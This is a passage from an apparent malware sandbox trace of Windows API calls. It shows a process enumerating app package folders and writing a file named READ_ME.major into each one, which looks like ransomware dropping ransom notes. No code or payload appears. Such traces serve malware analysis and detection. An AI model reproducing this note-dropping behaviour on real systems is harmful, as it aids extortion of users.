hTemplateFile=0x0) returned 0x8b0 [0187.110] WriteFile (in: hFile=0x8b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.111] CloseHandle (hObject=0x8b0) returned 1 [0187.112] FindNextFileW (in: hFindFile=0x661230, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31897f18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd5fb51b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31897f18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0187.112] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b0 [0187.116] WriteFile (in: hFile=0x8b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.117] CloseHandle (hObject=0x8b0) returned 1 [0187.117] FindNextFileW (in: hFindFile=0x661230, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd5fbb01, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317ff574, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0187.117] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b0 [0187.118] WriteFile (in: hFile=0x8b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.119] CloseHandle (hObject=0x8b0) returned 1 [0187.119] FindNextFileW (in: hFindFile=0x661230, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x221e4cb3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x221e4cb3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2220af08, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0187.119] FindNextFileW (in: hFindFile=0x661230, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd5fc459, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317ff574, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0187.119] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b0 [0187.120] WriteFile (in: hFile=0x8b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.121] CloseHandle (hObject=0x8b0) returned 1 [0187.121] FindNextFileW (in: hFindFile=0x661230, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31897f18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x71233dac, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71233dac, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0187.121] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b0 [0187.670] WriteFile (in: hFile=0x8b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.671] CloseHandle (hObject=0x8b0) returned 1 [0187.671] FindNextFileW (in: hFindFile=0x661230, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6917fc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf6917fc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf6917fc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0187.671] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b0 [0187.719] WriteFile (in: hFile=0x8b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.720] CloseHandle (hObject=0x8b0) returned 1 [0187.720] FindNextFileW (in: hFindFile=0x661230, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd708154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317ff574, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0187.720] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b0 [0187.721] WriteFile (in: hFile=0x8b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.722] CloseHandle (hObject=0x8b0) returned 1 [0187.722] FindNextFileW (in: hFindFile=0x661230, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd708154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317ff574, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0187.722] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xdba259a9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2220af08, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661430 [0187.723] FindNextFileW (in: hFindFile=0x661430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xdba259a9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2220af08, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0187.723] FindNextFileW (in: hFindFile=0x661430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d9dbf7f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3374640a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3374640a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0187.723] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4 [0187.734] WriteFile (in: hFile=0x8b4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.735] CloseHandle (hObject=0x8b4) returned 1 [0187.735] FindNextFileW (in: hFindFile=0x661430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d9698d0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd7ba7ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d9698d0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0187.735] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4 [0187.736] WriteFile (in: hFile=0x8b4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.737] CloseHandle (hObject=0x8b4) returned 1 [0187.737] FindNextFileW (in: hFindFile=0x661430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8d0f0a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd7bb01d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d8d0f0a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0187.737] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4 [0187.740] WriteFile (in: hFile=0x8b4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.741] CloseHandle (hObject=0x8b4) returned 1 [0187.741] FindNextFileW (in: hFindFile=0x661430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd7bb9cb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d8aac99, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0187.741] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4 [0187.742] WriteFile (in: hFile=0x8b4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.743] CloseHandle (hObject=0x8b4) returned 1 [0187.744] FindNextFileW (in: hFindFile=0x661430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2220af08, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2220af08, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2220af08, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0187.744] FindNextFileW (in: hFindFile=0x661430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd7bc2fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d8aac99, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0187.744] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4 [0187.745] WriteFile (in: hFile=0x8b4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.746] CloseHandle (hObject=0x8b4) returned 1 [0187.746] FindNextFileW (in: hFindFile=0x661430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8d0f0a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x71233dac, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71233dac, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0187.746] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4 [0187.759] WriteFile (in: hFile=0x8b4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.760] CloseHandle (hObject=0x8b4) returned 1 [0187.760] FindNextFileW (in: hFindFile=0x661430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdb10eaaa, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdb10eaaa, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xdb10eaaa, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0187.760] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4 [0187.761] WriteFile (in: hFile=0x8b4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.762] CloseHandle (hObject=0x8b4) returned 1 [0187.763] FindNextFileW (in: hFindFile=0x661430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd854e6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d8aac99, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0187.763] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4 [0187.763] WriteFile (in: hFile=0x8b4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.764] CloseHandle (hObject=0x8b4) returned 1 [0187.764] FindNextFileW (in: hFindFile=0x661430, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd854e6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d8aac99, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0187.765] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8c4028f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x22231081, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661170 [0187.765] FindNextFileW (in: hFindFile=0x661170, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8c4028f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x22231081, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0187.765] FindNextFileW (in: hFindFile=0x661170, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8c4028f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8c4028f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8c4028f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0187.765] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0187.770] WriteFile (in: hFile=0x8b8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.771] CloseHandle (hObject=0x8b8) returned 1 [0187.771] FindNextFileW (in: hFindFile=0x661170, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bf3dca, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bf3dca, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bf3dca, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0187.771] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0187.773] WriteFile (in: hFile=0x8b8, 